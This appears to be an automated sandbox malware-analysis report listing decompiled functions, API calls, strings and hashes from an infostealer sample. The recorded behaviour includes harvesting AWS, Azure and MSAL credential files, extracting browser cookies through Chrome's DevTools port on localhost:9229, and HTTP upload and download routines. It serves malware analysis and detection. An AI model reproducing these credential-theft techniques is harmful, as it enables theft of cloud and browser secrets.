Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,02EE6F60), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,02EE6F70,00000000,?,02EE2380,00000000,?,00421B4C), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT(?), ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,02EE70C0,?,02EE64E8,00000000,00000000,00400100,00000000), ref: 00405C48

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

------, xrefs: 00405D9C
S`A, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7
", xrefs: 00405D25
------, xrefs: 00405AE6
------, xrefs: 00405C5B
", xrefs: 00405E66
S`A, xrefs: 004060CA

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$S`A$S`A
API String ID: 1406981993-1449208648
Opcode ID: ffa9b9b874d9b6473f3a19d6fad898059176b1e7a70780cf080c65f94af8bda8
Instruction ID: 528bda5bfb4e43d7cafc1c43cb8ffcda3f2e6465d8e228b0a039cdd5195e34d5
Opcode Fuzzy Hash: ffa9b9b874d9b6473f3a19d6fad898059176b1e7a70780cf080c65f94af8bda8
Instruction Fuzzy Hash: 1412FC71925128ABCB14EBA1DCA5FEEB379BF14714F00419EF10662091EF783B98CB59

Function 00409BE0 Relevance: 35.1, APIs: 15, Strings: 5, Instructions: 141
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00409A50: InternetOpenA.WININET(00420AF6,00000001,00000000,00000000,00000000), ref: 00409A6A

memset.MSVCRT ref: 00409C33
lstrcatA.KERNEL32(?,ws://localhost:9229), ref: 00409C48
lstrcatA.KERNEL32(?,00000000), ref: 00409C5E
connect_to_websocket.CHROME(?,00000000), ref: 00409C76
memset.MSVCRT ref: 00409C9A
lstrcatA.KERNEL32(?,cookies), ref: 00409CAF
lstrcatA.KERNEL32(?,004212C4), ref: 00409CC1
lstrcatA.KERNEL32(?,?), ref: 00409CD5
lstrcatA.KERNEL32(?,004212C8), ref: 00409CE7
lstrcatA.KERNEL32(?,?), ref: 00409CFB
lstrcatA.KERNEL32(?,.txt), ref: 00409D0D
lstrlenA.KERNEL32(00000000), ref: 00409D17
lstrlenA.KERNEL32(00000000), ref: 00409D26

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

memset.MSVCRT ref: 00409D7E
free_result.CHROME(00000000), ref: 00409D8B

Strings

cookies, xrefs: 00409CA3
/devtools, xrefs: 00409C0B
.txt, xrefs: 00409D01
ws://localhost:9229, xrefs: 00409C3C
localhost, xrefs: 00409BF5

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$lstrlen$InternetOpenconnect_to_websocketfree_resultlstrcpy
String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
API String ID: 2548846003-3542011879
Opcode ID: 8fe7c3fcfe360faa22593f97e4113398223892f47f8f887075de07db9a8ee46e
Instruction ID: dd0e0b2e904cac6dcb4644251d8498bdcd69e700431b121c7f08c254ac6fdba9
Opcode Fuzzy Hash: 8fe7c3fcfe360faa22593f97e4113398223892f47f8f887075de07db9a8ee46e
Instruction Fuzzy Hash: 97517E71D10518ABCB14EBE0EC55FEE7738AF14306F40456AF106A70D1EB78AA48CF69

Function 00414FC0 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414FD7

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000), ref: 00415000
lstrcatA.KERNEL32(?,\.azure\), ref: 0041501D

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

memset.MSVCRT ref: 00415063
lstrcatA.KERNEL32(?,00000000), ref: 0041508C
lstrcatA.KERNEL32(?,\.aws\), ref: 004150A9

Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
Part of subcall function 00414B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
Part of subcall function 00414B60: FindClose.KERNEL32(000000FF), ref: 00414DE2

memset.MSVCRT ref: 004150EF
lstrcatA.KERNEL32(?,00000000), ref: 00415118
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00415135

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C00
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,004208D3), ref: 00414C15
Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C32
Part of subcall function 00414B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00414C6E
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,02EDF980,?,000003E8), ref: 00414C9A
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,00420FE0), ref: 00414CAC
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,?), ref: 00414CC0
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,00420FE4), ref: 00414CD2
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,?), ref: 00414CE6
Part of subcall function 00414B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00414CFC
Part of subcall function 00414B60: DeleteFileA.KERNEL32(?), ref: 00414D81

memset.MSVCRT ref: 0041517B

Strings

\.IdentityService\, xrefs: 00415129
Azure\.azure, xrefs: 00415023
\.aws\, xrefs: 0041509D
\.azure\, xrefs: 00415011
*.*, xrefs: 00415028
*.*, xrefs: 004150B4
msal.cache, xrefs: 00415140
Azure\.IdentityService, xrefs: 0041513B
Azure\.aws, xrefs: 004150AF

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4017274736-974132213
Opcode ID: 017e18e56085ef56c6ba935e0ea78ebc52f6b3913b598829d900a5ada6bf78b8
Instruction ID: 39229561bcf9e6d20be1630849a4938ad9d2aa6361ec20f439e2b4dca26d7b75
Opcode Fuzzy Hash: 017e18e56085ef56c6ba935e0ea78ebc52f6b3913b598829d900a5ada6bf78b8
Instruction Fuzzy Hash: 3F41D6B5E4021867DB10F770EC4BFDD33385B60705F40485AB649660D2FEB8A7D88B9A

Function 0040CFF0 Relevance: 31.9, APIs: 21, Instructions: 374stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,02EE2290,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D083
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040D1C7
RtlAllocateHeap.NTDLL(00000000), ref: 0040D1CE
lstrcatA.KERNEL32(?,00000000,02EDFAD0,0042156C,02EDFAD0,00421568,00000000), ref: 0040D308
lstrcatA.KERNEL32(?,00421570), ref: 0040D317
lstrcatA.KERNEL32(?,00000000), ref: 0040D32A
lstrcatA.KERNEL32(?,00421574), ref: 0040D339
lstrcatA.KERNEL32(?,00000000), ref: 0040D34C
lstrcatA.KERNEL32(?,00421578), ref: 0040D35B
lstrcatA.KERNEL32(?,00000000), ref: 0040D36E
lstrcatA.KERNEL32(?,0042157C), ref: 0040D37D
lstrcatA.KERNEL32(?,00000000), ref: 0040D390
lstrcatA.KERNEL32(?,00421580), ref: 0040D39F
lstrcatA.KERNEL32(?,00000000), ref: 0040D3B2
lstrcatA.KERNEL32(?,00421584), ref: 0040D3C1
lstrcatA.KERNEL32(?,00000000), ref: 0040D3D4
lstrcatA.KERNEL32(?,00421588), ref: 0040D3E3

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,02EDFBA0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

lstrlenA.KERNEL32(?), ref: 0040D42A
lstrlenA.KERNEL32(?), ref: 0040D439
memset.MSVCRT ref: 0040D488

Part of subcall function 0041AD80: StrCmpCA.SHLWAPI(00000000,00421568,0040D2A2,00421568,00000000), ref: 0041AD9F

DeleteFileA.KERNEL32(00000000), ref: 0040D4B4

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 35fedd2b9296ef60e5301991e76848098ada1adc0417fc27961a00cc535ec500
Instruction ID: 090733d9ad632ec07999f14fc915118f0ed2ae89bdc12e1fab3d18f5c5045e08
Opcode Fuzzy Hash: 35fedd2b9296ef60e5301991e76848098ada1adc0417fc27961a00cc535ec500
Instruction Fuzzy Hash: 35E17571E15114ABCB04EBA1ED56EEE7339AF14305F10415EF106760A1EF38BB98CB6A

Function 004048D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,02EE6F60), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DDE,00000000,?,?,00000000,?,",00000000,?,02EE7010), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,02EE70C0,?,02EE64E8,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

", xrefs: 00404C42
------, xrefs: 00404A0D
------, xrefs: 00404B78
", xrefs: 00404D83
------, xrefs: 00404CB9

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: 58931ed8340f2a32df3531985ba81832016a7b18c943cef600aad90e86fee314
Instruction ID: 9047d27655e640063cf5e546897bb6ee72beef818384a457e6eae52f2661673c
Opcode Fuzzy Hash: 58931ed8340f2a32df3531985ba81832016a7b18c943cef600aad90e86fee314
Instruction Fuzzy Hash: 41121072A121189ACB14EB91DD66FEEB379AF14314F50419EF10662091EF383F98CF69

Function 004062D0 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00420DFF,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,02EE6F60), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,02EE64E8,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

FUA, xrefs: 004062E0, 0040656D, 0040652E, 0040646C, 004062E3
GET, xrefs: 004063CC
ERROR, xrefs: 00406457
ERROR, xrefs: 00406519

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$FUA$GET
API String ID: 3074848878-1334267432
Opcode ID: 166aa3ced4eab29ed66c4890441b9b70c092572cb756529190931bdffa1f618a
Instruction ID: e13f8b4f5a4983f25bfc964ce73e77e76ffbf3c7ad5d81db2c216f4c68459c1c
Opcode Fuzzy Hash: 166aa3ced4eab29ed66c4890441b9b70c092572cb756529190931bdffa1f618a
Instruction Fuzzy Hash: 33718171A00218ABDB14DF90DC59FEEB775AF44304F1081AAF6067B1D4DBB86A84CF59

Function 004184B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

RegOpenKeyExA.KERNEL32(00000000,02EE2D10,00000000,00020019,00000000,004205BE), ref: 00418534
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004185B6
wsprintfA.USER32 ref: 004185E9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041860B
RegCloseKey.ADVAPI32(00000000), ref: 0041861C
RegCloseKey.ADVAPI32(00000000), ref: 00418629

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Strings

?, xrefs: 0041850A
- , xrefs: 00418733
%s\%s, xrefs: 004185DD

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 48b3856a4b7a08adbcf43253a443092526ad4724ebfb5700d99c2b9c1c41cab3
Instruction ID: c228fa157c9b2873a9233ab8a396ad333d8a8ae6667b392d6015aff843962e7d
Opcode Fuzzy Hash: 48b3856a4b7a08adbcf43253a443092526ad4724ebfb5700d99c2b9c1c41cab3
Instruction Fuzzy Hash: 47812D71911118ABDB24DB50DD95FEAB7B9BF08314F1082DEE10966180DF746BC8CFA9

Function 004191A0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 004191FC

Strings

image/jpeg, xrefs: 004192C6
`dAF, xrefs: 004191CF, 00419399, 004191D2, 0041939C
`dAF, xrefs: 00419361, 004193D9, 0041930E, 004192DF, 004192B2, 0041920D, 004191E4, 00419364

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
